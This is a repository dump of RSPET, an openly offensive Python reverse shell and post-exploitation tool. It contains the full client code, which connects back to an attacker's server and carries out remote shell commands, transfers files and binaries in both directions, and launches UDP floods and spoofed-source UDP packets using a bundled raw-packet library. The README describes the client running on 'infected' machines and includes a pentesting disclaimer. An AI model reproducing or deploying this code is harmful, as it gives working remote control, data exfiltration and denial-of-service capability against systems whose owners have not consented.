├── .gitignore ├── Client ├── create_application.py ├── pinject │ └── __init__.py ├── rspet_client.py ├── rspet_client.pyc ├── setup.py └── template.py ├── LICENSE ├── README.md ├── Server ├── CLI_state_diagram.png ├── CLI_state_diagram_Essentials.png ├── Plugins │ ├── __init__.py │ ├── essentials.py │ ├── files.py │ ├── mount.py │ ├── template.py │ └── udp.py ├── config.json ├── rspet_server.py ├── rspet_server_api.py ├── server.dia └── tab.py ├── run_dev.py └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.log 3 | *.txt 4 | *.csr 5 | *.crt 6 | *.key 7 | test/ 8 | -------------------------------------------------------------------------------- /Client/create_application.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | """ 4 | 5 | This particular file is not necessary, it just makes it easier to build the windows application from 6 | an IDE or within another instance of RSPET. This could be implemented in the server application to build 7 | client executables. 8 | 9 | 10 | """ 11 | 12 | import subprocess 13 | 14 | subprocess.call(["python", "setup.py", "build"]) -------------------------------------------------------------------------------- /Client/pinject/__init__.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import threading 4 | import time 5 | import sys 6 | import random 7 | from optparse import OptionParser 8 | 9 | #From : https://github.com/OffensivePython/Pinject 10 | 11 | ETH_P_IP = 0x0800 # Internet Protocol Packet 12 | 13 | def checksum(data): 14 | s = 0 15 | n = len(data) % 2 16 | for i in range(0, len(data)-n, 2): 17 | s+= ord(data[i]) + (ord(data[i+1]) << 8) 18 | if n: 19 | s+= ord(data[i+1]) 20 | while (s >> 16): 21 | s = (s & 0xFFFF) + (s >> 16) 22 | s = ~s & 0xffff 23 | return s 24 | 25 | class layer(): 26 | pass 27 | 28 | class ETHER(object): 29 | def __init__(self, src, dst, type=ETH_P_IP): 30 | self.src = src 31 | self.dst = dst 32 | self.type = type 33 | def pack(self): 34 | ethernet = struct.pack('!6s6sH', 35 | self.dst, 36 | self.src, 37 | self.type) 38 | return ethernet 39 | 40 | class IP(object): 41 | def __init__(self, source, destination, payload='', proto=socket.IPPROTO_TCP): 42 | self.version = 4 43 | self.ihl = 5 # Internet Header Length 44 | self.tos = 0 # Type of Service 45 | self.tl = 20+len(payload) 46 | self.id = 0#random.randint(0, 65535) 47 | self.flags = 0 # Don't fragment 48 | self.offset = 0 49 | self.ttl = 255 50 | self.protocol = proto 51 | self.checksum = 2 # will be filled by kernel 52 | self.source = socket.inet_aton(source) 53 | self.destination = socket.inet_aton(destination) 54 | def pack(self): 55 | ver_ihl = (self.version << 4) + self.ihl 56 | flags_offset = (self.flags << 13) + self.offset 57 | ip_header = struct.pack("!BBHHHBBH4s4s", 58 | ver_ihl, 59 | self.tos, 60 | self.tl, 61 | self.id, 62 | flags_offset, 63 | self.ttl, 64 | self.protocol, 65 | self.checksum, 66 | self.source, 67 | self.destination) 68 | self.checksum = checksum(ip_header) 69 | ip_header = struct.pack("!BBHHHBBH4s4s", 70 | ver_ihl, 71 | self.tos, 72 | self.tl, 73 | self.id, 74 | flags_offset, 75 | self.ttl, 76 | self.protocol, 77 | socket.htons(self.checksum), 78 | self.source, 79 | self.destination) 80 | return ip_header 81 | def unpack(self, packet): 82 | _ip = layer() 83 | _ip.ihl = (ord(packet[0]) & 0xf) * 4 84 | iph = struct.unpack("!BBHHHBBH4s4s", packet[:_ip.ihl]) 85 | _ip.ver = iph[0] >> 4 86 | _ip.tos = iph[1] 87 | _ip.length = iph[2] 88 | _ip.ids = iph[3] 89 | _ip.flags = iph[4] >> 13 90 | _ip.offset = iph[4] & 0x1FFF 91 | _ip.ttl = iph[5] 92 | _ip.protocol = iph[6] 93 | _ip.checksum = hex(iph[7]) 94 | _ip.src = socket.inet_ntoa(iph[8]) 95 | _ip.dst = socket.inet_ntoa(iph[9]) 96 | _ip.list = [ 97 | _ip.ihl, 98 | _ip.ver, 99 | _ip.tos, 100 | _ip.length, 101 | _ip.ids, 102 | _ip.flags, 103 | _ip.offset, 104 | _ip.ttl, 105 | _ip.protocol, 106 | _ip.src, 107 | _ip.dst] 108 | return _ip 109 | 110 | class TCP(object): 111 | def __init__(self, srcp, dstp): 112 | self.srcp = srcp 113 | self.dstp = dstp 114 | self.seqn = 10 115 | self.ackn = 0 116 | self.offset = 5 # Data offset: 5x4 = 20 bytes 117 | self.reserved = 0 118 | self.urg = 0 119 | self.ack = 0 120 | self.psh = 0 121 | self.rst = 0 122 | self.syn = 1 123 | self.fin = 0 124 | self.window = socket.htons(5840) 125 | self.checksum = 0 126 | self.urgp = 0 127 | self.payload = "" 128 | def pack(self, source, destination): 129 | data_offset = (self.offset << 4) + 0 130 | flags = self.fin + (self.syn << 1) + (self.rst << 2) + (self.psh << 3) + (self.ack << 4) + (self.urg << 5) 131 | tcp_header = struct.pack('!HHLLBBHHH', 132 | self.srcp, 133 | self.dstp, 134 | self.seqn, 135 | self.ackn, 136 | data_offset, 137 | flags, 138 | self.window, 139 | self.checksum, 140 | self.urgp) 141 | #pseudo header fields 142 | source_ip = source 143 | destination_ip = destination 144 | reserved = 0 145 | protocol = socket.IPPROTO_TCP 146 | total_length = len(tcp_header) + len(self.payload) 147 | # Pseudo header 148 | psh = struct.pack("!4s4sBBH", 149 | source_ip, 150 | destination_ip, 151 | reserved, 152 | protocol, 153 | total_length) 154 | psh = psh + tcp_header + self.payload 155 | tcp_checksum = checksum(psh) 156 | tcp_header = struct.pack("!HHLLBBH", 157 | self.srcp, 158 | self.dstp, 159 | self.seqn, 160 | self.ackn, 161 | data_offset, 162 | flags, 163 | self.window) 164 | tcp_header+= struct.pack('H', tcp_checksum) + struct.pack('!H', self.urgp) 165 | return tcp_header 166 | def unpack(self, packet): 167 | cflags = { # Control flags 168 | 32:"U", 169 | 16:"A", 170 | 8:"P", 171 | 4:"R", 172 | 2:"S", 173 | 1:"F"} 174 | _tcp = layer() 175 | _tcp.thl = (ord(packet[12])>>4) * 4 176 | _tcp.options = packet[20:_tcp.thl] 177 | _tcp.payload = packet[_tcp.thl:] 178 | tcph = struct.unpack("!HHLLBBHHH", packet[:20]) 179 | _tcp.srcp = tcph[0] # source port 180 | _tcp.dstp = tcph[1] # destination port 181 | _tcp.seq = tcph[2] # sequence number 182 | _tcp.ack = hex(tcph[3]) # acknowledgment number 183 | _tcp.flags = "" 184 | for f in cflags: 185 | if tcph[5] & f: 186 | _tcp.flags+=cflags[f] 187 | _tcp.window = tcph[6] # window 188 | _tcp.checksum = hex(tcph[7]) # checksum 189 | _tcp.urg = tcph[8] # urgent pointer 190 | _tcp.list = [ 191 | _tcp.srcp, 192 | _tcp.dstp, 193 | _tcp.seq, 194 | _tcp.ack, 195 | _tcp.thl, 196 | _tcp.flags, 197 | _tcp.window, 198 | _tcp.checksum, 199 | _tcp.urg, 200 | _tcp.options, 201 | _tcp.payload] 202 | return _tcp 203 | 204 | class UDP(object): 205 | def __init__(self, src, dst, payload=''): 206 | self.src = src 207 | self.dst = dst 208 | self.payload = payload 209 | self.checksum = 0 210 | self.length = 8 # UDP Header length 211 | def pack(self, src, dst, proto=socket.IPPROTO_UDP): 212 | length = self.length + len(self.payload) 213 | pseudo_header = struct.pack('!4s4sBBH', 214 | socket.inet_aton(src), socket.inet_aton(dst), 0, 215 | proto, length) 216 | self.checksum = checksum(pseudo_header) 217 | packet = struct.pack('!HHHH', 218 | self.src, self.dst, length, 0) 219 | return packet 220 | 221 | def main(): 222 | parser = OptionParser() 223 | parser.add_option("-s", "--src", dest="src", type="string", 224 | help="Source IP address", metavar="IP") 225 | parser.add_option("-d", "--dst", dest="dst", type="string", 226 | help="Destination IP address", metavar="IP") 227 | options, args = parser.parse_args() 228 | if options.dst == None: 229 | parser.print_help() 230 | sys.exit() 231 | else: 232 | dst_host = socket.gethostbyname(options.dst) 233 | if options.src == None: 234 | # Get the current Network Interface 235 | src_host = socket.gethostbyname(socket.gethostname()) 236 | else: 237 | src_host = options.src 238 | 239 | print("[+] Local Machine: %s"%src_host) 240 | print("[+] Remote Machine: %s"%dst_host) 241 | data = "TEST!!" 242 | print("[+] Data to inject: %s"%data) 243 | # IP Header 244 | ipobj = IP(src_host, dst_host) 245 | # TCP Header 246 | tcpobj = TCP(1234, 80) 247 | response = send(ipobj, tcpobj, iface="eth0", retry=1, timeout=0.3) 248 | if response: 249 | ip = ipobj.unpack(response) 250 | response = response[ip.ihl:] 251 | tcp = tcpobj.unpack(response) 252 | print ("IP Header:", ip.list) 253 | print ("TCP Header:", tcp.list) 254 | 255 | if __name__=="__main__": 256 | main() 257 | -------------------------------------------------------------------------------- /Client/rspet_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: UTF-8 -*- 3 | """rspet_client.py: RSPET's Client-side script.""" 4 | from __future__ import print_function 5 | from sys import exit as sysexit, argv 6 | from time import sleep 7 | from subprocess import Popen, PIPE 8 | from multiprocessing import Process, freeze_support 9 | from socket import socket, IPPROTO_UDP, IPPROTO_RAW, SOCK_DGRAM, SOCK_STREAM, SOCK_RAW, AF_INET 10 | from socket import error as sock_error 11 | from socket import SHUT_RDWR 12 | import ssl 13 | 14 | __author__ = "Kolokotronis Panagiotis" 15 | __copyright__ = "Copyright 2016, Kolokotronis Panagiotis" 16 | __credits__ = ["Kolokotronis Panagiotis", "Dimitris Zervas", "Lain Iwakura"] 17 | __license__ = "MIT" 18 | __version__ = "0.3.1" 19 | __maintainer__ = "Kolokotronis Panagiotis" 20 | 21 | 22 | def exponential_backoff(c_factor): 23 | """Calculate backoff time for reconnect.""" 24 | return int(((2**c_factor)-1)/2) 25 | 26 | 27 | def sys_info(): 28 | """Get platform info.""" 29 | import platform 30 | sys_info_tup = platform.uname() 31 | return (sys_info_tup[0], sys_info_tup[1]) 32 | 33 | 34 | def get_len(in_string, max_len): 35 | """Calculate string length, return as a string with trailing 0s. 36 | 37 | Keyword argument(s): 38 | in_string -- input string 39 | max_len -- length of returned string 40 | """ 41 | tmp_str = str(len(in_string)) 42 | len_to_return = tmp_str 43 | for _ in range(max_len - len(tmp_str)): 44 | len_to_return = '0' + len_to_return 45 | return len_to_return 46 | 47 | 48 | def udp_flood_start(target_ip, target_port, msg): 49 | """Create UDP packet and send it to target_ip, target_port.""" 50 | flood_sock = socket(AF_INET, SOCK_DGRAM) 51 | while True: 52 | flood_sock.sendto(bytes(msg), (target_ip, target_port)) 53 | sleep(0.01) 54 | 55 | 56 | def udp_spoof_pck(dest_ip, dest_port, source_ip, source_port, payload): 57 | """Create and return a spoofed UDP packet. 58 | 59 | Keyword argument(s): 60 | dest_ip -- the desired destination ip 61 | dest_port -- the desired destination port 62 | source_ip -- the desired source ip 63 | source_port -- the desired source port 64 | """ 65 | from pinject import UDP, IP 66 | udp_header = UDP(source_port, dest_port, payload).pack(source_ip, dest_ip) 67 | ip_header = IP(source_ip, dest_ip, udp_header, IPPROTO_UDP).pack() 68 | return ip_header+udp_header+payload 69 | 70 | 71 | def udp_spoof_start(target_ip, target_port, spoofed_ip, spoofed_port, payload): 72 | """Spoof a packet and send it to target_ip, target_port. 73 | 74 | Keyword argument(s): 75 | target_ip -- the desired destination ip 76 | target_port -- the desired destination port 77 | spoofed_ip -- the desired source ip 78 | spoofed_port -- the desired source port 79 | """ 80 | spoofed_packet = udp_spoof_pck(target_ip, target_port, spoofed_ip, 81 | spoofed_port, payload) 82 | sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW) 83 | while True: 84 | sock.sendto(spoofed_packet, (target_ip, target_port)) 85 | sleep(0.01) 86 | 87 | 88 | class Client(object): 89 | """Class for Client.""" 90 | def __init__(self, addr, port=9000): 91 | self.sock = socket(AF_INET, SOCK_STREAM) 92 | try: 93 | cntx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 94 | except AttributeError: # All PROTOCOL consts are merged on TLS in Python2.7.13 95 | cntx = ssl.SSLContext(ssl.PROTOCOL_TLS) 96 | self.sock = cntx.wrap_socket(self.sock) 97 | self.address = addr 98 | self.port = int(port) 99 | self.quit_signal = False 100 | self.version = ("%s-%s" %(__version__, "full")) 101 | self.plugins = {} 102 | self.comm_dict = { 103 | '00000' : 'killMe', 104 | '00001' : 'getFile', 105 | '00002' : 'getBinary', 106 | '00003' : 'sendFile', 107 | '00004' : 'sendBinary', 108 | '00005' : 'udpFlood', 109 | '00006' : 'udpSpoof', 110 | '00007' : 'command', 111 | '00008' : 'KILL', 112 | '00009' : 'loadPlugin', 113 | '00010' : 'unloadPlugin' 114 | } 115 | self.comm_swtch = { 116 | 'killMe' : self.kill_me, 117 | 'getFile' : self.get_file, 118 | 'getBinary' : self.get_binary, 119 | 'sendFile' : self.send_file, 120 | 'sendBinary': self.send_binary, 121 | 'udpFlood' : self.udp_flood, 122 | 'udpSpoof' : self.udp_spoof, 123 | 'command' : self.run_cm, 124 | 'loadPlugin': self.load_plugin, 125 | 'unloadPlugin': self.unload_plugin 126 | } 127 | 128 | def loop(self): 129 | """Client's main body. Accept and execute commands.""" 130 | while not self.quit_signal: 131 | en_data = self.receive(5) 132 | try: 133 | en_data = self.comm_dict[en_data] 134 | except KeyError: 135 | if en_data == '': 136 | self.reconnect() 137 | continue 138 | self.comm_swtch[en_data]() 139 | self.sock.shutdown(SHUT_RDWR) 140 | self.sock.close() 141 | 142 | def connect(self): 143 | """Connect to the Server.""" 144 | try: 145 | self.sock.connect((self.address, self.port)) 146 | ###Send Version### 147 | msg_len = get_len(self.version, 2) # len is 2-digit (i.e. up to 99 chars) 148 | en_stdout = self.send(msg_len) 149 | en_stdout = self.send(self.version) 150 | ################## 151 | sys_type, sys_hname = sys_info() 152 | ###Send System Type### 153 | msg_len = get_len(sys_type, 2) # len is 2-digit (i.e. up to 99 chars) 154 | en_stdout = self.send(msg_len) 155 | en_stdout = self.send(sys_type) 156 | ###################### 157 | ###Send Hostname### 158 | if sys_hname == "": 159 | sys_hname = "None" 160 | msg_len = get_len(sys_hname, 2) # len is 2-digit (i.e. up to 99 chars) 161 | en_stdout = self.send(msg_len) 162 | en_stdout = self.send(sys_hname) 163 | ################### 164 | except sock_error, ValueError: 165 | raise sock_error 166 | return 0 167 | 168 | def reconnect(self): 169 | """Attempt to reconnect after connection loss.""" 170 | # Take an exponential backoff-ish approach 171 | c_factor = 0 172 | connected = False 173 | while not connected: 174 | try: 175 | self.connect() 176 | except sock_error: 177 | sleep(exponential_backoff(c_factor)) 178 | c_factor += 1 179 | else: 180 | connected = True 181 | 182 | def send(self, data): 183 | """Send data to Server.""" 184 | r_code = 0 185 | try: 186 | self.sock.send(data) 187 | except sock_error: 188 | r_code = 1 189 | self.reconnect() 190 | return r_code 191 | 192 | def receive(self, size): 193 | """Receive data from Server.""" 194 | data = self.sock.recv(size) 195 | if data == '': 196 | self.reconnect() 197 | raise sock_error 198 | return data 199 | 200 | def kill_me(self): 201 | """Close socket, terminate script's execution.""" 202 | self.quit_signal = True 203 | 204 | def run_cm(self): 205 | """Get command to run from server, execute it and send results back.""" 206 | command_size = self.receive(13) 207 | command = self.receive(int(command_size)) 208 | comm = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE) 209 | stdout, stderr = comm.communicate() 210 | if stderr: 211 | decode = stderr.decode('UTF-8') 212 | elif stdout: 213 | decode = stdout.decode('UTF-8') 214 | else: 215 | decode = 'Command has no output' 216 | len_decode = get_len(decode, 13) 217 | en_stdout = self.send(len_decode) 218 | if en_stdout == 0: 219 | en_stdout = self.send(decode) 220 | return 0 221 | 222 | def get_file(self): 223 | """Get file name and contents from server, create file.""" 224 | exit_code = 0 225 | fname_length = self.receive(3) # Filename length up to 999 chars 226 | fname = self.receive(int(fname_length)) 227 | try: 228 | file_to_write = open(fname, 'w') 229 | stdout = 'fcs' 230 | except IOError: 231 | stdout = 'fna' 232 | exit_code = 1 233 | en_stdout = self.send(stdout) 234 | else: 235 | en_stdout = self.send(stdout) 236 | if en_stdout == 0: 237 | f_size = self.receive(13) # File size up to 9999999999999 chars 238 | en_data = self.receive(int(f_size)) 239 | file_to_write.write(en_data) 240 | file_to_write.close() 241 | stdout = "fsw" 242 | en_stdout = self.send(stdout) 243 | else: 244 | file_to_write.close() 245 | return exit_code 246 | 247 | def get_binary(self): 248 | """Get binary name and contents from server, create binary.""" 249 | exit_code = 0 250 | bname_length = self.receive(3) # Filename length up to 999 chars 251 | bname = self.receive(int(bname_length)) 252 | try: 253 | bin_to_write = open(bname, 'wb') 254 | stdout = 'fcs' 255 | except IOError: 256 | stdout = 'fna' 257 | exit_code = 1 258 | en_stdout = self.send(stdout) 259 | else: 260 | en_stdout = self.send(stdout) 261 | if en_stdout == 0: 262 | b_size = self.receive(13) # Binary size up to 9999999999999 symbols 263 | en_data = self.receive(int(b_size)) 264 | bin_to_write.write(en_data) 265 | bin_to_write.close() 266 | stdout = "fsw" 267 | en_stdout = self.send(stdout) 268 | else: 269 | bin_to_write.close() 270 | return exit_code 271 | 272 | def send_file(self): 273 | """Get file name from server, send contents back.""" 274 | exit_code = 0 275 | fname_length = self.receive(3) # Filename length up to 999 chars 276 | fname = self.receive(int(fname_length)) 277 | try: 278 | file_to_send = open(fname, 'r') 279 | stdout = 'fos' 280 | except IOError: 281 | stdout = 'fna' 282 | exit_code = 1 283 | en_stdout = self.send(stdout) 284 | else: 285 | en_stdout = self.send(stdout) 286 | if en_stdout == 0: 287 | file_cont = file_to_send.read() 288 | file_to_send.close() 289 | stdout = get_len(file_cont, 13) 290 | en_stdout = self.send(stdout) 291 | if en_stdout == 0: 292 | stdout = file_cont 293 | en_stdout = self.send(stdout) 294 | else: 295 | file_to_send.close() 296 | return exit_code 297 | 298 | def send_binary(self): 299 | """Get binary name from server, send contents back.""" 300 | exit_code = 0 301 | bname_length = self.receive(3) # Filename length up to 999 chars 302 | bname = self.receive(int(bname_length)) 303 | try: 304 | bin_to_send = open(bname, 'rb') 305 | stdout = 'fos' 306 | except IOError: 307 | stdout = 'fna' 308 | exit_code = 1 309 | en_stdout = self.send(stdout) 310 | else: 311 | en_stdout = self.send(stdout) 312 | if en_stdout == 0: 313 | bin_cont = bin_to_send.read() 314 | bin_to_send.close() 315 | stdout = get_len(bin_cont, 13) 316 | en_stdout = self.send(stdout) 317 | if en_stdout == 0: 318 | stdout = bin_cont 319 | en_stdout = self.send(stdout) 320 | else: 321 | bin_to_send.close() 322 | return exit_code 323 | 324 | def udp_flood(self): 325 | """Get target ip and port from server, start UPD flood wait for 'KILL'.""" 326 | en_data = self.receive(3) # Max ip+port+payload length 999 chars 327 | en_data = self.receive(int(en_data)) 328 | en_data = en_data.split(":") 329 | target_ip = en_data[0] 330 | target_port = int(en_data[1]) 331 | msg = en_data[2] 332 | proc = Process(target=udp_flood_start, args=(target_ip, target_port, msg)) 333 | proc.start() 334 | killed = False 335 | while not killed: 336 | en_data = self.receive(5) 337 | try: 338 | en_data = self.comm_dict[en_data] 339 | except KeyError: 340 | continue 341 | if en_data == 'KILL': 342 | proc.terminate() 343 | killed = True 344 | return 0 345 | 346 | def udp_spoof(self): 347 | """Get target/spoofed ip and port from server, start UPD spoof wait for 'KILL'.""" 348 | en_data = self.receive(3) # Max ip+port+spoofedip+spoofed port+payload length 999 chars 349 | en_data = self.receive(int(en_data)) 350 | en_data = en_data.split(":") 351 | target_ip = en_data[0] 352 | target_port = int(en_data[1]) 353 | spoofed_ip = en_data[2] 354 | spoofed_port = int(en_data[3]) 355 | payload = en_data[4].encode('UTF-8') 356 | proc = Process(target=udp_spoof_start, args=(target_ip, target_port, 357 | spoofed_ip, spoofed_port, 358 | payload)) 359 | proc.start() 360 | killed = False 361 | while not killed: 362 | en_data = self.receive(5) 363 | try: 364 | en_data = self.comm_dict[en_data] 365 | except KeyError: 366 | continue 367 | if en_data == 'KILL': 368 | proc.terminate() 369 | killed = True 370 | return 0 371 | 372 | def load_plugin(self): 373 | """Asyncronously load a plugin.""" 374 | en_data = self.receive(3) # Max plugin name length 999 chars 375 | en_data = self.receive(int(en_data)) 376 | 377 | try: 378 | self.plugins[en_data] = __import__(en_data) 379 | self.send("psl") 380 | except ImportError: 381 | self.send("pnl") 382 | 383 | def unload_plugin(self): 384 | """Asyncronously unload a plugin.""" 385 | en_data = self.receive(3) # Max plugin name length 999 chars 386 | en_data = self.receive(int(en_data)) 387 | 388 | try: 389 | del self.loaded_plugins[en_data] 390 | except ImportError: 391 | pass 392 | 393 | 394 | class PluginMount(type): 395 | def __init__(cls, name, base, attr): 396 | """Called when a Plugin derived class is imported 397 | 398 | Gathers all methods needed from __cmd_states__ to __server_cmds__""" 399 | 400 | tmp = cls() 401 | for fn in cls.__client_cmds__: 402 | # Load the function (if its from the current plugin) and see if 403 | # it's marked. All plugins' commands are saved as function names 404 | # without saving from which plugin they come, so we have to mark 405 | # them and try to load them 406 | 407 | if cls.__client_cmds__ is not None: 408 | continue 409 | 410 | try: 411 | f = getattr(tmp, fn) 412 | if f.__is_command__: 413 | cls.__server_cmds__[fn] = f 414 | except AttributeError: 415 | pass 416 | 417 | class Plugin(object): 418 | """Plugin class (to be extended by plugins)""" 419 | __metaclass__ = PluginMount 420 | 421 | __client_cmds__ = {} 422 | 423 | 424 | # Plugin decorator 425 | def command(fn): 426 | Plugin.__client_cmds__[fn.__name__] = None 427 | 428 | return fn 429 | 430 | 431 | def main(): 432 | """Main function. Handle object instances.""" 433 | try: 434 | rhost = argv[1] 435 | except IndexError: 436 | sysexit() 437 | try: 438 | myself = Client(rhost, argv[2]) 439 | except IndexError: 440 | myself = Client(rhost) 441 | try: 442 | myself.connect() 443 | except sock_error: 444 | myself.reconnect() 445 | myself.loop() 446 | 447 | 448 | #Start Here! 449 | if __name__ == '__main__': 450 | freeze_support() 451 | Process(target=main).start() 452 | -------------------------------------------------------------------------------- /Client/rspet_client.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/panagiks/RSPET/de4356e40d803a7c224e2c919cac6a2d6c0a330f/Client/rspet_client.pyc -------------------------------------------------------------------------------- /Client/setup.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | Written for DigitalOcean's Hacktoberfest! 4 | 5 | Requires cx_Freeze and must be built on Windows :( 6 | Unfortunately, neither cx_Freeze nor py2exe support cross platform compilation 7 | thus, this particular solution was set into motion 8 | 9 | ''' 10 | 11 | import sys 12 | from cx_Freeze import setup, Executable 13 | 14 | setup( 15 | name = "RSPET Test", #Change these values to your liking 16 | version = "0.1", 17 | description = "A Test Executable", 18 | executables = [Executable("rspet_client.py", base = "Win32GUI")]) -------------------------------------------------------------------------------- /Client/template.py: -------------------------------------------------------------------------------- 1 | from rspet_client import Plugin, command 2 | 3 | class MyPlugin(Plugin): 4 | """Example plugin. You can declare your commands in __server_commands__ or __host_commands__""" 5 | 6 | def __init__(self): 7 | """This function is called when the plugin is loaded""" 8 | print("Test plugin loaded!") 9 | 10 | @command 11 | def hello(self, client, args): 12 | """Demo command that prints the arguments that you passed it""" 13 | print("You called hello with args: ", args) 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Kolokotronis Panagiotis 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RSPET 2 | 3 | ![MIT Licence](https://img.shields.io/badge/Licence-MIT_Licence-red.svg?style=plastic) 4 | [![Python 2.7](https://img.shields.io/badge/Python-2.7-yellow.svg?style=plastic)](https://www.python.org/) 5 | ![v0.3.1](https://img.shields.io/badge/Release-v0.3.1-orange.svg?style=plastic) 6 | ![Maintained](https://img.shields.io/badge/Maintained-Yes-green.svg?style=plastic) 7 | [![Twitter](https://img.shields.io/badge/Twitter-@TheRSPET-blue.svg?style=plastic)](https://twitter.com/theRSPET) 8 | 9 | > RSPET (Reverse Shell and Post Exploitation Tool) is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario. 10 | 11 | DISCLAIMER: This software is provided for educational and PenTesting purposes and as a proof of concept. The developer(s) do not endorse, incite or in any other way support unauthorised computer access and networks disruption. 12 | 13 | NOTE: `min` folder has been removed. The added overhead of maintaining two versions lead to `min` not receiving bug-fixes and important updates. If there is interest, both in using and maintaining, a more bare-bone and simplistic version, a new branch will be created to host it. 14 | 15 | Current Version: `v0.3.1` 16 | 17 | Follow: [@TheRSPET](https://twitter.com/TheRSPET) on Twitter for updates. 18 | 19 | Documentation : [rspet.readthedocs.io](http://rspet.readthedocs.io) 20 | 21 | ## Features 22 | 23 | * Remote Command Execution 24 | * ~~Trafic masking (XORed instead of cleartext); for better results use port 443~~[1] 25 | * TLS Encryption of the Server-Client communication 26 | * Built-in File/Binary transfer (both ways) over the ~~masked~~ Encrypted traffic 27 | * Built-in UDP Flooding tool 28 | * Built-in UDP Spoofing tool[2] 29 | * Multiple/All Hosts management; order File/Binary transfer and UDP Flood from Multiple/All connected Hosts 30 | * Modular Code Design to allow easy customization 31 | * Client script is tested and is compatible with PyInstaller (can be made into .exe)[3] 32 | * Full server side Plug-in support[4] 33 | * Plug-in management, including the ability to Install(Download) and Dynamically Load Plug-ins. 34 | * RESTful API for the Server Module 35 | 36 | *[1]The idea for XORing as well as the skeleton for the client came from [primalsecurity.net](http://www.primalsecurity.net) so if you like this pack of scripts you'll probably love what they do 37 | 38 | *[2]UDP Spoofing uses RAW_SOCKETS so in order to utilize it, the client has to run on an OS that supports RAW_SOCKETS (most Unix-Based) and with root privileges. Finally, most of the ISPs have implementations in place that will either drop or re-structure spoofed packets 39 | 40 | *[3]Again check [primalsecurity.net's](http://www.primalsecurity.net) perfect blogpost about producing an .exe 41 | 42 | *[4]Detailed documentation on creating Plug-ins available in [Online Documentation](http://rspet.readthedocs.io/en/latest/dev/)! 43 | 44 | ## Deployment: 45 | 46 | * `rspet_server.py` is situated at the attacker's machine and running to accept connections 47 | * `rspet_client.py` is situated in the infected machine(s) and will initiate the connection and wait for input. 48 | 49 | ## Installation 50 | 51 | Executing `./setup.py` while on the project's root folder will generate the required certificates and install all needed components through pip. 52 | 53 | Of course you can manually install the pip packages required by executing `pip2 install Flask flask-cors`. 54 | Also you can generate your own key-cert set (just name them `server.key` & `server.crt` and place them inside the Server folder). 55 | 56 | ## Execution: 57 | 58 | * Server: 59 | ```sh 60 | python rspet_server.py [-c #clients, --ip ipToBind, -p portToBind] 61 | ``` 62 | max_connections defaults to 5 if left blank 63 | 64 | * RESTful API: 65 | ```sh 66 | python rspet_server_api.py [-c #clients, --ip ipToBind, -p portToBind] 67 | ``` 68 | 69 | * Client: 70 | ```sh 71 | python rspet_client.py [server_port] 72 | ``` 73 | 74 | Many changes can be made to fit individual needs. 75 | 76 | As always if you have any suggestion, bug report or complain feel free to contact me. 77 | 78 | ## ASCIICAST 79 | 80 | [![asciicast](https://asciinema.org/a/b94jozlbub4a3gir7oq6owlno.png)](https://asciinema.org/a/b94jozlbub4a3gir7oq6owlno?autoplay=1) 81 | 82 | ## Distros 83 | > A list of Distros that contain RSPET 84 | 85 | * [BlackArch Linux](http://blackarch.org/tools.html) (as of version 2016.04.28) 86 | * [ArchStrike](https://archstrike.org/packages/search/rspet) 87 | 88 | ## As Featured in 89 | 90 | * [seclist.us](http://seclist.us/rspet-reverse-shell-and-post-exploitation-tool.html) 91 | * [sillycon.org](http://www.sillycon.org/stories/article/github-panagiksrspet-rspet-reverse-shell-and-post-exploitation-tool-is-a-python-based-reverse-shell-equipped-with-functionalities-that-assist-in-a-post-exploitation-scenario) 92 | * [digitalmunition.me](https://www.digitalmunition.me/2016/04/rspet-reverse-shell-post-exploitation-tool/) 93 | * [n0where.net](https://n0where.net/reverse-shell-post-exploitation-tool/) 94 | * [kitploit.com](http://www.kitploit.com/2016/05/rspet-python-reverse-shell-and-post.html) 95 | * [Hakin9 IT Security Magazine](https://www.facebook.com/hakin9mag/posts/1376368245710855) 96 | 97 | ## Todo 98 | 99 | - [x] ~~Fix logic bug where if a direct command to Host OS has no output Server displays command not recognized~~ 100 | - [ ] Fix logic bug where if a direct command's to Host OS execution is perpetual the Server deadlocks 101 | - [ ] Investigate weather the issue resides in the Server logic or the linearity of the CLI. 102 | - [x] ~~Add client version and type (min or full) as a property when client connects and at `List_Hosts`~~ 103 | - [x] Add TLS encryption in order to: 104 | - [x] Replace XORing (and subsequently obfuscation with encryption) 105 | - [ ] Verify the "authenticity" of clients 106 | - [ ] A mechanism to issue and verify client certificates 107 | - [ ] A mechanism to recognize compromised client certs 108 | - [ ] Add client update mechanism (initial thought was the use of execv but it acts up) 109 | - [x] Add a Plug-in system to client (a more compact one) 110 | - [ ] Add remote installation of Plug-ins to client 111 | - [ ] Add installed Plug-ins report from client to server 112 | - [ ] Add UDP Reflection functionality 113 | - [ ] Provide more settings via config file 114 | - [ ] 